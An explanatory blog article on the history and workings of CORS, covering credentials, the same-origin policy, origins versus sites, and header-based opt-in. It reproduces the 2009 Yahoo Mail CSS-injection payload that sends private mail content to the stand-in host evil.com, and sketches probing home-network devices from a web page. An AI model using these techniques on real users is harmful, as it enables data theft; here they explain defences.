CORS (Cross-Origin Resource Sharing) is hard. It's hard because it's part of how browsers fetch stuff, and that's a set of behaviours that started with the very first web browser over thirty years ago. Since then, it's been a constant source of development; adding features, improving defaults, and papering over past mistakes without breaking too much of the web. Anyway, I figured I'd write down pretty much everything I know about CORS, and to make things _interactive_, I built an exciting new app: [ The CORS playground ]() You can dive right into [the playground]() now if you want, but I'll link to it throughout the article to demonstrate particular examples. Anyway, I'm getting ahead of myself. Before I get to any of the 'how', I'm going to try to explain _why_ CORS is the way it is, by looking at how it came into existence, and how it fits into other kinds of fetches. Wish me luck… ## Cross-origin access without CORS > I'd like to propose a new, optional HTML tag: IMG. Required argument is SRC="url". > > – [Marc Andreessen in 1993]() Browsers have been able to include images from other sites for almost 30 years. You don't need the other site's permission to do this, you can just do it. And it didn't stop with images:

APIs like these let you make a request to another website and process the response in a particular way, without the other site's consent. This started getting complicated in 1994 with the advent of HTTP cookies. HTTP cookies became part of a set of things we call [_credentials_](), which also includes TLS client certificates (not to be confused with server certificates), and the state that automatically goes in the `Authorization` request header when using HTTP authentication (if you've never heard of this, don't worry, it's shite). Credentials allow the server to maintain state about a particular user across multiple requests. It's how Twitter shows you _your_ feed, it's how your bank shows you _your_ accounts. When you request other-site content using one of the methods above, it sends along the credentials for the other-site. And over the years that's created a colossal sackload of security issues.

If the above image loads, I get a `load` event. If it doesn't load, I get an `error` event. If that differs depending on if you're logged in or not, that tells me a lot about you. I can also read the width and height of the image, which, if it differs from user to user, tells me even more. This gets worse with a format like CSS, which has more capabilities, but doesn't immediately fail on parse errors. In 2009 it turned out Yahoo Mail was vulnerable to a fairly simple exploit. The attacker sends the user one email with a subject including `');}`, and later another with a subject including `{}html{background:url('//evil.com/?`: …

Hey {}html{background:url('//evil.com/?

…private data…

Yo ');}

… This means some of the user's private email data is sandwiched between something that will parse as a valid bit of CSS. Then, the attacker convinces the user to visit a page containing: …which is loaded using `yahoo.com`'s cookies, the CSS parses, and sends private information to `evil.com`. Oh no. And that's just the tip of the shitberg. From browser bugs to [CPU exploits](), these leaky resources have given us decades of problems. ## Locking things down It's become pretty clear that the above was a mistake in the design of the web, so we no longer create APIs that can process these kinds of requests. Meanwhile, we've spent the last few decades patching things up as best we can: * CSS from another origin (I'll get to a definition of 'origin' shortly) now needs to be sent with a CSS `Content-Type`. Unfortunately we can't enforce the same thing for scripts and images, or CSS on [quirks mode]() pages, without breaking significant portions of the web. * The [`X-Content-Type-Options: nosniff` header]() lets the server say "hey, don't allow this to be parsed as CSS or JS unless I've sent the right `Content-Type`". * Later, the `nosniff` rules were expanded to prevent particular no-CORS response types from another origin, such as HTML, JSON, and XML (except SVG). This protection is called [CORB](). * More recently, we don't send cookies along with the request from site-A to site-B, unless site-B has opted-in using the [`SameSite` cookie attribute](). Without cookies, the site generally returns the 'logged-out' view, without private data. * Firefox and Safari go a step further, and try to fully isolate sites, although how this works is currently pretty different between the two. ### The same-origin policy Back in 1995, Netscape 2 landed with two amazing new features: LiveScript (you probably know this better as 'JavaScript'), and HTML frames. Frames let you embed one page in another, and LiveScript could interact with both pages. Netscape realised that this presented a security issue; you don't want an evil page to be able to read the DOM of your banking page, so they decided that cross-frame scripting would only be allowed if both pages had the same _origin_. https://jakearchibald.com:443 /2021/blah/?foo#bar The origin The idea was that sites on the same origin are more likely to have the same owner. That wasn't completely true, since a lot of sites divided content by URLs such as `http://example.com/~jakearchibald/`, but the line had to be drawn somewhere. From that point, features that granted deep visibility into a resource were limited to same-origin. This included `new ActiveXObject('Microsoft.XMLHTTP')` which first appeared in IE5 in 1999, and later became the web standard `XMLHttpRequest`. ### Origins vs sites Some web features don't deal with origins, they deal with 'sites'. For instance, `https://help.yourbank.com` and `https://profile.yourbank.com` are different origins, but they're the same site. Cookies are the most common feature that operate at a site level, as you can create cookies that are sent to all subdomains of `yourbank.com`. But how does the browser know that `https://help.yourbank.com` and `https://profile.yourbank.com` are part of the same site, but `https://yourbank.co.uk` and `https://jakearchibald.co.uk` are different sites? I mean… they all have three parts separated by dots. Well, the answer was a bunch of heuristics in each browser, but in 2007 Mozilla swapped their heuristics for a list. That list is now maintained as a separate community project known as the [public suffix list](), and it's used by all browsers and many other projects. If someone says they understand the security implications of URLs without UI hints, be sure to check they can recite all 9000+ entries of the public suffix list from memory. URL 1: Origin: https://app.jakearchibald.com Site: jakearchibald.com URL 2: Origin: https://other-app.jakearchibald.com Site: jakearchibald.com Same origin: ❌ Same site: ✅ So `https://app.jakearchibald.com` and `https://other-app.jakearchibald.com` are part of the same site, but `https://app.glitch.me` and `https://other-app.glitch.me` are different sites. These cases are different because `glitch.me` is on the public suffix list whereas `jakearchibald.com` is not. This is 'correct', because different people 'own' the subdomains of `glitch.me`, whereas I own all the subdomains of `jakearchibald.com`. ## Opening things up again Ok, so we've got these APIs like `` that can access resources from other origins, but visibility into the response is limited (but not limited enough in hindsight), and we've got these more powerful APIs like cross-frame scripting and `XMLHttpRequest` which only work same-origin. How could we allow those more powerful APIs to work _across_ origins? ### Remove credentials? Let's say we provide an opt-in so the request is sent without credentials. The response will be the 'logged-out' view, so it won't contain any private data, and can be revealed without concern, right? Unfortunately there're a lot of HTTP endpoints out there that 'secure' themselves using things other than browser credentials. A lot of company intranets assume they're 'private' because they're only accessible from a particular network. Some routers and IoT devices assume they're only accessible by well-meaning folks because they're restricted to your home network (remember, the 's' in 'IoT' stands for security). Some websites offer different content depending on the IP address they're accessed from. So, if you visit my website from your home, I could start making requests to common hostnames and IP addresses, looking for insecure IoT devices, looking for routers using default passwords, and generally make your life very miserable, all without needing browser credentials. Removing credentials is part of the solution, but it isn't enough on its own. There's no way to know that a resource contains private data, so we need some way for the resource to declare "hey, it's fine, let the other site read my content". ### Separate resource opt-in? The origin could have some special resource that details its permissions regarding cross-origin access. That's the [security model Flash went with](). Flash looked for a `/crossdomain.xml` in the root of the site that looked like this:

There are a few issues with this: * It changes the behaviour for the whole origin. You can imagine a similar format that lets you specify rules for particular resources, but the `/crossdomain.xml` resource would start to get quite large. * You end up with two requests, one for the `/crossdomain.xml`, and one for the actual resource. This becomes more of an issue the bigger `/crossdomain.xml` gets. * For larger sites built by multiple teams, you end up with issues over ownership of `/crossdomain.xml`. ### In-resource opt-in? To cut down the number of requests, the opt-in could be granted within the resource itself. This technique was proposed by the W3C Voice Browser Working Group back in 2005, using an XML processing instruction: But what if the resource wasn't XML? Well, the opt-in would need to be in a different format. This is kinda where things landed for frame-to-frame communication. Both sides opt-in using [`postMessage`](), and can declare the origin they're happy to communicate with. But what about accessing the raw bytes of the resource? In that case it doesn't make sense to use resource-specific metadata for the opt-in. And besides, HTTP already has a place for resource metadata… ### HTTP header opt-in The proposal by the Voice Browser Working Group was generalised using HTTP headers, and that became Cross-Origin Resource Sharing, or CORS. Access-Control-Allow-Origin: * ## Making a CORS request Most modern web features require CORS by default, such as `fetch()`. The exception is modern features that are designed to support older features that don't use CORS, e.g., ``. Unfortunately there's no easy rule for what does and doesn't require CORS. For example: The best way to figure it out is to try it and look at network DevTools. In Chrome and Firefox, cross-origin requests are sent with a [`Sec-Fetch-Mode` header]() which will tell you if it's a CORS request or not. Unfortunately Safari hasn't implemented this yet. [Try it in the CORS playground]() \- When you make the request, it'll log the headers the server received. If you're using Chrome or Firefox you'll see `Sec-Fetch-Mode` set to `cors` in there, along with some other interesting `Sec-` headers. However, if you [make a no-CORS request](), `Sec-Fetch-Mode` will be `no-cors`. If an HTML element causes a no-CORS fetch, you can use the badly-named `crossorigin` attribute to switch it to a CORS request.

When you switch these over to CORS, you get more visibility into the cross-origin resource: * You can paint the `` to a `